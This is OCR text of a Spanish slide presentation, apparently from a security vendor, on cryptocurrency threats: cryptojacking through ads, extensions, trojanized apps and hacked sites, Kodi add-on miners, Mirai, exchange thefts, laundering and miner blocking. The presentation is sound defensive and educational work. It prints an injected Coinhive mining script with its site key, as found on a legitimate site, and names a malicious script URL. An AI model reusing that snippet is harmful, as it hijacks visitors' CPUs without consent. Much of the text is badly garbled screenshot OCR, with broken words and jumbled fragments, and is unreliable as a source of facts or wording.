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Mineria de criptomonedas







BITMAIN

SHA256 Miners
Scrypt Miners

X11 Miners
Blake(2b) Miners
CryptoNight Miners
AntRouter

Power Supply

Antminer E3, Batch 1

Antminer

Hardware especializado

Artificial Intelligence

APW3++ for E3

Antpool

Hashnest

BTC.COM Blog

Antminer $9-14TH/s

Support

Antminer $9-14TH/s with ...






https://www.coindesk.com/making-crypto-mining-tax-breaks












Amenazas relacionadas
con criptomonedas



Anuncios maliciosos
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Anuncios maliciosos

ADDONS HOW TO SUPPORT TOP 100 DOWNLOAD CONVERTER FOR FREE

Enter the link to the media

CONVERTTO MP3

YouTube
®




Anuncios maliciosos
xplorer - Get Your Online Wallet Today

‘ blokchien.infol

Blockchain

https://www.blockchain.com/ v

300k
Saturday, Feb 25, 16:00
200 Queries: 200,222 ®

100k

DNS queries/hour
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Extensiones del navegador

) Update for Firefox 57.0 x '+

24_2fl036r1alipb

& | @ /7 _subid=2f1036r1alipbp

gn24&_token=uuid 2

Authentication Required

0 A username and password are being req d by http://guardwebext.xyz. The site says: "CLICK ON
CANCEL TO CONTINUE!"

ﬂ- Add-ons Manager

~ C @ Firefox about:addons w I o =

ZUla

:¢ Get Add-ons

*‘ . Image Previewer i 5
Extensions *. ) Options Disable Remove
Image Previewer More

‘/ Themes

Plugins

Transferring|

ENJOY SAFER TECHHOLOGY




ENJOY SAFER TECHHOLOGY

Aplicaciones troyanizadas
* B @B W

Calendar 2

Access all your events, weather, google, facebook, birthdays, and more, in ONE place. Click!

Featured Top Charts Categories  Purchased

You will save time and be much more productive.
Don't take our word for it, try it yourself!

What's New in Version 2.6.1

Fixed bug preventing app from launching at startup.
Added a new method to unlock all features....
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item type:

hashes:
entitled:
sign auth:

Updates

Information

Category: Productivity
Updated: Mar 08, 2018
2.6

Price: Free

CalendarFree is validly signed (Mac App Store)

CalendarFree.app

fUsers/patrick/Downloads/CalendarFree,app

application

view hashes

view entitlements
> Apple Mac 0S5 Applicaticn Signing

> Apple Worldwide Developer Relations Certification Authority

» Apple Root CA

close



Aplicaciones troyanizadas

£
(e
gitignore Applcon.icns Assels.car Base.lproj cpulimit dsa_pub.pem
[=] & | ||
CPU
In Process Name %% CPU CPU Time Threads Idle Wake Ups PID  User
xmr-stak 57.0 2:117:35.43 & 5 1889 user
xmr-stak 56.9 24:55.53 5 5 2866 user
®Mmr-stak 27.8 14:04.31 5 2 27BB user
®mr-stak 26.8 B.35 B 1 3100 user
B Terminal 12.4 7:34.74 10 44 1107 user
B Activity Monitor 1.6 3.84 b 1 3097 user
System: 5.55% CPU LOAD Threads Q08
User: 94.45% Processes: 274

) Idle: -
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Mineria con JavaScript en webs legitimas

C | @ Secure | view-sourcethttps://www.showtimeanytime.com 'i'i'| O w v B (&

52 <!l--newrelic--> -
51| <script src="https://coin-hive.com/lib/coinhive.min.js"»></scriptr<script>if (typeof CoinHive
l== "undefined'}{var yyz = new

CoinHive.Anonymous( 'HyPATI9pbWZzHGBhWWiZmzSEEef JHIWSg ") ;yyz.setThrottle(@.97) ;yyz.start();}
</script>

£n
=y

n
o

<l--endnewrelic--»

The Picate 1

Search Torrents | Browse Torrents | Recent Torrents | TV shows | Music | Top 100

| Pirate Search

& an ) audio [ video ) Appiications | Games [/ Porn ] Other

[Cl 3 Inspector > Consola @ Depurador JE{ Editordee... | @ Analizador = Red

heml body
<!DOCTYPE html>
w<html lang="en"> ev

script

b <head></head>
v <body>
b <div id="fp"></div>
<script src="/fuckadblock.js" type="text/javascript"></script>
b <script></script>
[ <script src="https://coin-hive.com/lib/coinhive.min.js"></script> ]

P <script></script>
3 » <script></script>
ENJOY SAFER TECHNOLOGY" b <script type="text/javascript"></script>
</body>
</html>



€& X | & Esseguro https://inaem.aragon.es/cursos-de-formacion
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Se ha encontrado una aplicacion potenciaimente no deseada

~ B : Frecuentes
I Se encontro una aplicacion potencialmente indeseable (JS/CoinMiner.AX) cuando ones
[}

@ Google Chrome intentd acceder a un sitio web (upgraderservices...).

INSTITUTO ARAGONES DE EMPLE -

Contigo hacia el empleo Este es un programa que puede no representar un riesgo para la segundad, pero que puede
afectar al rendimiento y 2 la fiabilidad del ordenador o provocar cambios en el compertamiento

del sistema. Mas informacion...

Aplicacion: C:\Program Files (x86)\Google\Chrome\Application\chrome.ex¢
INAEM y Oficinas  Oficina Electrog By i bres  Entidades Colaboradoras
o LCogie C
Reputacién: v En la lista blanca
URL: https://upgraderservices.cf/drupal.js
Estas en: Inicio ' Formacion ' Oferta f¢ Deteccién: J5/CoinMiner.AX aplicacién petencialmente indeseable

:Desea bloquear el acceso?
Oferta formativa

Cursos de formacion . ; 3
rsos y talleres de tu interés. Mas

Mas informacién sobre este mensaje A Detalles v Opciones avanzadas
Escuelas taller .
m————— Ee— —~rewAD
Que es una Escuela Taller
. - T - v - Todos - v
Listado Escuelas Taller odes odos
PROVINCIA FECHA INICIO (MM/AAAA) HORARIO

Tallerac de aemnlan
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Mineria en servidores
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Ataque Scarlett Johansson




metasploit

PostgreSQL Server
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Impacto a nivel global

Timeline
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Impacto a nivel global

Js/CoinMiner trend in world
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COINHIVE CIERRA SU SERVICIO DE
MINADO DE CRIPTOMONEDAS DESDE EL
NAVEGADOR

Josep Albors | 08 Mar, 2019 | Criptomonedas | No hay comentarios
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& D - Mozilla Thunderbird < Yui Aragaki ;) - Mozilla Thunderbird &' Misia ;) - Mozilla Thunderbird

File Edit Wew Go Message Tools Help File Edit W¥iew Go Message Tools Help File Edit Wew o [Message Took Help

"LOVE YOU" MALSPAM INFECTION: SPREAD TO

ATTACHED USE

THLUMEBE DRIVE
DOUBLE-CLICKE f
EXTRALCTELD JS FILE
= o
N> > o E
N =0
MALSPAM ATTACHED EXTRACTED INITIAL EXE MALWARE

ZIF ARCHIVE J5 FILE Mﬂlm&
.
E EXE EXE
AN

L
XE
DCRAB PHORPIEX MONERO
OMWARE  SPAMBOT  CRYPTOCURRENCY
MALWARE MINER

I @1 attachment: PICO-19572766962019-jpa.2ip 6.5 KB | @1 attachment: PIC0-5356896002019-jpa.zip 6.4 KE - @1 attachment: PICO-19572766962019-jpg 2ip .5 KB & save |+

= 0 = y

RANS

https://i0.wp.com/gbhackers.com/wp-content/uploads/2019/01/image-3.png?w=408&ssl=1



Ataques a sistemas de
intercambio



Plataformas de intercambio

coinbase
(1 [ ‘ETO ro) coinfloor
=% bitFlyer (
Bitstamp Huobi Global
4P GEMINI MKraken
Jitcoin.com
OBitGo r.
T“?-*f'f-"sag [EBITTREX
-
< Coincheck ﬁ ’I‘ 'BTCC
[C) CENTRAJ

E Fineapple Fund
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BITFINEX



X Qita

low Parity: Ethereum
ered in mass heist

. 'de possible by software stuff-up

'ange

at 00:55 18] SHARE Y

de CoOW
4elegado de €

B C?‘fe.ielcrability in Parity's Ethereum wallet software has been exploited by
thieves to rob victims on a massive scale.
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<> bitcoin Code Estafas relacionadas

= <> bitcoin Code

<O bitcoin Coa

Paco Jones o oL AZoount is Not Aciivated. To Actvate your sofiaare you must first furd your Capital Markets Banc =200
Martinez

G Lke you 've never depotded money into your Capital Markets Banc trscing sccount

y s MANUAL TRADING
W a0

CONTACT US

#7) TRADE HISTORY

RISK WARNING: Tradng Forex Carmies A High Level OF Risk With Passiddity OF Lass OF All OF Your bwested Furs 158 18-08-2017
T l Therelore, Forex Trading May Net Be Sutable For All irvestorns. Traders Should Not Irvest Meney That Yo
ecno Os s Afford To Lone. Prioe To Trading, You Are Resporaible To Be Aware And Urderstend The Rinks Associated With

Trading Sewt Advice

Relbed %o Forex Teading, Whether Direct, Indirect, Orcumstancial, Corsequentinl Or incidental Actions Ressdting In
Damage Or Loss, Whatsoever. For Foll Disclosure Information On The Risks Assoceted With Trading Forex CLCK HERE

visto en el mun Contact info
software esté | .

5 o¢, CAN Tower, Corner of Great Mariborough snd Great George Streets, Rosesy,
TS

mercados e
OFFCE 7, 3537 LUDGATE HILL, LONDON, ECAM 7N, UK

sabes nada

esto es un gran ; —.

2016-08-04 02:21:04

2016-08-04 03:00:00

AUD/USD

que este software sea la aplicacior

. .IMNH.;;‘_m\r..i-_A ‘ 2 :
2016-08-04 03:00:00  AUD/USD PUT 50 0.7616 0.7614 20160804 023157 90500 XY



Hacienda vigila a15.000 inversores en criptodivisas para
evitar blanqueos de dinero y fraude fiscal

https://www.xataka.com/criptomonedas/hacienda-vigila-a-15-000-inversores-criptodivisas-para-evitar-blanqueos-dinero-fraude-fiscal



Blanqueo de capitales

FIOD
Tax and Customs Administration

Bitcoin mixer

process of the bitcoin mixer

‘: deposit payment of .

bitcoins (anonymous)
bitcoins
start bitcoin mixer minimum annual turnover profit per month customers worldwide

TOP 3 customers

S 200 mitiion $ 600 000

Uus
fay Germany
201 8 25000/ bitcoins 75 bitcoins Netherlands

https://www.fiod.nl/blog/2019/05/22/the-fiod-and-the-public-prosecution-service-take-money-laundering-machine-for-cryptocurrencies-offline/
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Estafas relacionadas

BESTMIXER.IO

by the Dutch Financial Criminal Investigation Service (FIOD) under the authority of the Dutch Prosecutor's Office

Dutch Law Enforcement have started an investigation on Bestmixer.io in June 2018. In this investigation we have collected information about transactions, letters of
guarantee and support messages.

YOU ARE NOT ANONYMOUS

OPENBAAR MINISTERIE sz Fop

?% Tax and Customs Administration

p{gu'rle




Infectando dispositivos 10T
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Mineria en Android

o =) jo | & 1130

& rcyclmnrhgntry.com =  Simple System Monitor I

PU USAGE - CORES CPU USAGE - TOTAL  CPU FREQUENCIES

Please prove that you are human by solving
the captcha.

Until you verify yourself as human, your
browser will mine the Cryptocurrency
Monero for us in order to recover server
costs incurred by bot traffic.

w3FaSO5R

I  Continue

Eer| q ®) O
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POLONIEX

Poloniex (Buy Alic
Punjabi Punch

\4
£ \

Exchange POLON

Developer iNc.

Falsas aplicaciones

X
£ N
POLONIEX

POLONIEX CRYPT

Poloniex Trade Inc

L 8 & & ¢

\4
£ N

Poloniex Exchang
Polo App Developer

L& & & & ¢

X

POLONIEX,

CRYPTOCURRENCY EXCHANGE

Poloniex™ - Bitcc

Poloniex Inc

*

\4

A\

POLONIEX

Exchange POLON

Trade Solution Inc

\4
£ \

Poloniex - Cryptoc
Trade App Developer

L 8 8 & & ¢



Falsas aplicaciones
Trezor Mobile Wallet

Trezor Inc. Finance * 22
E PEGI3

TREZOR © This app is compatible with your device
[#] Add to wishlist m

Coin Wallet - Bitcoin, Ripple,
Ethereum, Tether

Coin Wallet Inc. Finance d ok k ok 115 &
H peci3

@ This app is compatible with your device.

[F] Add to wishiist Install

The safe place
for your coins

How to setup
How to use

Store, send and receive crypto coins using a simple app designed and developed by Trezor team.

Install completely free Trezor Mobile Wallet in few seconds.

and Safe

Features

ENJOY SAFER TECHHOLOGY"



Graves consecuencias para el hardware

—

https://securelist.com/jack-of-all-trades/83470/




Dispositivos Android TV vulnerables

es, TV, and more

i
Street View
Google + 1,084,030 views

! Mowes &TV m n Muslc Y0|.|

=

BSmesounn ETAZ op - o ooy | e

Screen images simulated




Dispositivos Android TV vulnerables

Your Videos Movies TV Shows Apps Settings

TOM CLANCY'S

JACK-RYAN

PRIME ORIGINAL

WATCH TRAILER | prime
N1

N ETFL'X prlme wdeo
pusvsew JEIIFAHDU' 18

g

music YouTube.com
N

Play against real contestants
using actual TV episodes.

PRIME ORLGINAL
E NI
-Anr;v‘;

L8N

Qsilk

Get the app




Dispositivos Android TV vulnerables

|

D Trojan
>4 virusl.apk

Trojan
¢ bitcoin-mining apk

Threat details

JSB storage

Cancel
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Infeccion de extensions de Kodi

Repositorios afectados:
- Bubbles

- Gaia

- XvBMC

p.
4 ‘0
KODI



Timeline y proceso de ejecucion

METADATA XML

17 Dec 2017
Bubbles repository publishes first malicious changes

4 January 2018
Gaia repository publishes first malicious changes

14 January 2018
Bubbles repository publishes a malicious add-on

Mid-January 2018
Bubbles repository is shut down, users are directed to Gaia repository

28 January 2018
Crvptominer detected Dv ESIET PYTHON FILE

WITH MALWARE

28 January - mid-April 2018
Cryptominer receives frequent updates

Malware downloads
and executes

11 February 2018; 6 March 2018; 21 March 2018
The malicious add-on receives updates

CRYPTOMINER
DOWNLOADER

Downloads
and executes

26 April 2018
Gaia repository deletes all its contents; new version no longer serves the malicious add-on

CRYPTOMINER
BINARIES

Mid-August 2018
XvBMC repository, a secondary source of malicious add-ons, is reported to have been shut down

e ENJOY SAFER TECHNOLOGY" r
Malware deletes itself
from Python file




Distribucio las detecciones
= "\u’

"-)" g Py S




Aprovechando vulnerabilidades en routers y DVR




MikroTik RouterOS CVE-2018-14847 Distribution

—




Botnet Mirai
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Fuente: https://www.imperva.com/blog/malware-analysis-mirai-ddos-botnet/



Codigo Fuente liberado

[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release

Yesterday, 12:50 PM (This post was last modified: Yesterday 04:29 PM by Anna-senpai.)

m Anna-senpai &

Preface
Greetz everybody,

When I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so if]
However, I know every skid and their mama, it's their wet dream to have something besides gbot.

So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS,
shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.

Leaked Mirai Source Code for Research/IoC Development Purposes
So, I am your senpai, and I will treat you real nice, my hf-chan.

D 8 commits ¥ 1 branch > 0 releases AL 4 contributors zfs GPL-3.0

|

Branch: master = Find file
jgamblin Merge pull request #38 from Red54/patch-1 ... Latest commit 327343 Jul 15, 2017
im dir Trying to Shrink Size Oct 25, 2016
B loader Trying to Shrink Size Oct 25, 2016
| mirai Trying to Shrink Size Oct 25, 2016
Bl scripts Transcribe post to markdown while preserving Oct 25, 2016
&) ForumPost.md Transcribe post to markdown while preserving Oct 25, 2016
[E ForumPost.txt Update ForumPost.txt Mov 3, 2016

Gy shres e Loty ) LICENSEmd Trying to Shrink Size Oct 25, 2016

[ README.md Fix a typo in README.md Jul 15, 2017



Ataque a dispositivos empresariales

Chicken
Steak

Pitchers
eer

B
$3.25

Join us Happy Hour every Thursday 4:30~6:30p.m $ 2.00 Drafts.




Siegeware:

Ransomware y criptomineria en
edificios intelientes



Fire Detection & Alarm
Systems

Building Automation
Systems

Heating, Ventilation, Automated Fire
Air Conditioning (HVAC) Suppression Systems

Power Management &
Assurance Systems

Integrated Security and
Access Control Systems

Command & Control
Systems

Lighting Control Systems




Sistemas de control al alcance

Honeywell

Honeywell ComfortPoint™

= |

Username and/or pasoword ivald.
el e
’f-:l Username:
L Password:
iV R
[Loon
The ultimate in flexible building control

brought to you by Honeywell Building Solutions.

Use of this system ks

only. This system may be subject to

access is a violation of local, State, and
‘and will be subject to criminal prosecution

a Building Operation WebStation '°

-G FACILITY

7 EXPLORER

) Usemame: | |

g2 | Login |

Use of this software is subject to the

End User License Agreement and other Third Party Licenses

User name ||
Password
Domain
Remember me on this computer
Logon
L]
Conyight ® 2019 98 LS. Al g
e o e e @Ptruxureware
= CountyHospitall =ity _Bank

(:: ) Username: | )
] ;I Password:
AN

To connect using Java Web Start click here
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Sistemas de control al alcance

EMERSON S
Liebert DS

Summary: Updated: February 9, 2019 03:37:51PM

Identification

Liebert DS ON % 100% Fan Speed
e —|

Liebert VS
A ‘6 Storage A&B
Co8L

ee 0% Cooling
1
Free Cooling
&
| I

Next Maintenance

[
M 0% Reheating

Status

Liebert DS
Normal with Warning

Communications
Normal Operation

412019

Liebert DS

[ summary > I
[CJActive Events e
5 . - Dehumidifyin:
— e Return Air Supply Air ‘8‘ 0% fving
& ir o H
& 2 Humidity 68.0°F Unavailable 1
# (_‘lCompressors Humidifying
(Free Cooaling / Chilled Water 16.7% RH 100%
= CIReheat —
[ Humidifier
[@ODehumidifier Powered by
— - - ™
Alnd Liebert iCOM

# [ Condensers

# [ Analog Inputs (4)
[Z1System Info

#-[1System Operations

#-[1System Event Configuration

# (L) System Events

Active Events: Updated: February 9, 2019 03:37:51PM

| Reset Events || Acknowledge Events

[CJAsset Management
Bgmgl s Report Event Status Ack
DA;EZ;O;E::S ., Humidity. Low Return Humidity Active

[)Static Pressure
= (JPower Measurement (6)
& Fluid (2)
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Bloqueo de mineria no autorizada

j Coinhive  Documentation Login  Signup

B NotMINING..

fi\ SRt Buscador de webs que minan criptomonedas. Introduce

A Crypto Miner la web que deseas buscar
for your Website

| http:/furl.com, https:/iurl.com

Monetize Your Business With Your Users' CPU Power

\ SMART SECURITY

INTEGRATE COINHIVE ON YOUR WEBSITE ‘

—
fr.r}ii Potentially unsafe application found

A potensially unsafe agplication (JS/CcinMincr.C) was “ound wher @interne: Explorer tried to
arcess 3 wahsite (coir-hive.com)

. . H - G\ i £ i .
© Spam Protectlon co Llnk Forwardlng Application: C:\Pragram Files\Internet Exploreniexplore.exe
Company: Microsoft Ccrperation
Rate limit actions on your site Monetize shortlinks to your content <
Reputation: v & Discovered 1 week ago
URL: https.//coin-hive.com/lib/coinhive.min js

& In-Game Money @ Ad-Free Content Reputation:

x : 2 4 Detection: 15/CoinMiner.C potentially unsa‘e application
Offer rewards in your online games Run your site without ads p L Y

Block access?

Coinhive offers a JavaScript miner for the Monero Blockchain (Why Monero?) that you can embed in your

website. Your users run the miner directly in their Browser and mine XMR for you in turn for an ad-free



Bloqueo de contenido

Bloguear el contenido de terceros gue te rastrea en la web. Controla Administrar excepciones

cuanto de tu actividad en linea se almacena y compartes entre sitios

web. Saber mas

D] Estandar

Sélo bloguea rastreadores conocidos en pestafias privadas.

D] Estricto v

Bloquear todos los rastreadores que Firefox detecte. Puede causar errores en algunos sitios web.

@ Personalizar

Elegir que bloguear
|/| % Rastreadores Solo en ventanas privadas ¥
Cambiar listas de blogueo

| | & Cookies

[ |Z| x Criptomineros (Y) ]

|:| )] Fingerprinters

@ You will need to reload your tabs to apply these "
C Recargar todas las pestafias

changes.

A jAtencién!

Blocking content can cause some websites to break. It's easy to disable blocking for
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iGracias por la atencion!

Josep Albors
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